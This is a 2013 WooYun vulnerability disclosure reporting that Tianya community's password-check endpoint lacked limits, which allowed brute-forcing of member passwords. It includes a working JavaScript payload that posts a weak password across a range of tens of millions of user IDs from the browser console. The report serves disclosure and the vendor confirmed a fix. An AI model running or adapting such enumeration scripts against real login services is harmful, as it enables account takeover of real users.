当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033915

漏洞标题:天涯社区接口限制不严导致可爆破会员密码

相关厂商:天涯社区

漏洞作者: LaiX

提交时间:2013-08-09 12:21

修复时间:2013-09-23 12:22

公开时间:2013-09-23 12:22

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-09: 细节已通知厂商并且等待厂商处理中
2013-08-09: 厂商已经确认,细节仅向厂商公开
2013-08-19: 细节向核心白帽子及相关领域专家公开
2013-08-29: 细节向普通白帽子公开
2013-09-08: 细节向实习白帽子公开
2013-09-23: 细节向公众公开

简要描述:

某功能缺陷,权限验证不严格,直接对表单进行验证,导致漏洞

详细说明:

"密码提示": { fn: checkPsUsername },
"密码提示问题": { fn: checkPsQuestion },
"密码提示回答": { fn: checkPsAnswer },
"回答检查": { fn: checkAnswerLen },
"密码手机": { fn: checkPsMobile },
"密码邮箱地址": { fn: checkPsEmail },
"检验邮箱地址": { fn: checkValidateEmail },
"检验天涯码": { fn: checkTianyaCode},
"邮箱注册排重": { fn: checkFreemail },
"原密码检查": { fn: checkUserPassword },
"原密码检查1": { fn: checkUserPassword1 },
"天涯邮箱注册排重": { fn: checkTyMail },
"简单密码":{fn:simplePassword},
"密码强度归零":{fn:showPasswordStrong},


可以对以上任意信息进行爆破

漏洞证明:

我们挑选其中一个"原密码检查"

1.png


找到 这个地址:

http://passport.tianya.cn/portect?action=updateps


打开这个地址,找到输出 错误信息的 容器的ID,我们搜索ID

JS代码段.png


找到JS代码段,发现其中只对userID进行了验证,然后直接POST进行原始密码检查

{t:'oldpassword',oldpassword:e.value,userId: jQuery(e).attr('userId'), _r:new Date().getTime()}


接下来,我们构造payload 进行弱口令爆破:

function fuck(pass, userid) {
var CHECK_URL = 'http://passport.tianya.cn/services/RegisterService';
g_password_error = "";
jQuery.post(CHECK_URL, {
t: 'oldpassword',
oldpassword: pass,
userId: userid,
_r: new Date().getTime()
},
function(data) {
data = jQuery.trim(data);
if (data && !isNaN(data) && data == -1) {
return true;
} else {
return false;
}
});
}
for (var i = 2000000; i < 80000000; i++) { //从2000000 到 80000000 之间的ID进行穷举
if (fuck("czb123", i) == true)
{
console.warn( "id:" + i );
}
}


也可以使用其他的工具进行POST,我这里就不演示了。
接下来 放进JS控制台执行一下:

.png


然后呢,睡觉...

修复方案:

你们是专业人士

版权声明:转载请注明来源 LaiX@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-09 18:16

厂商回复:

已经联系业务部门修复,感谢提供! :)

最新状态:

暂无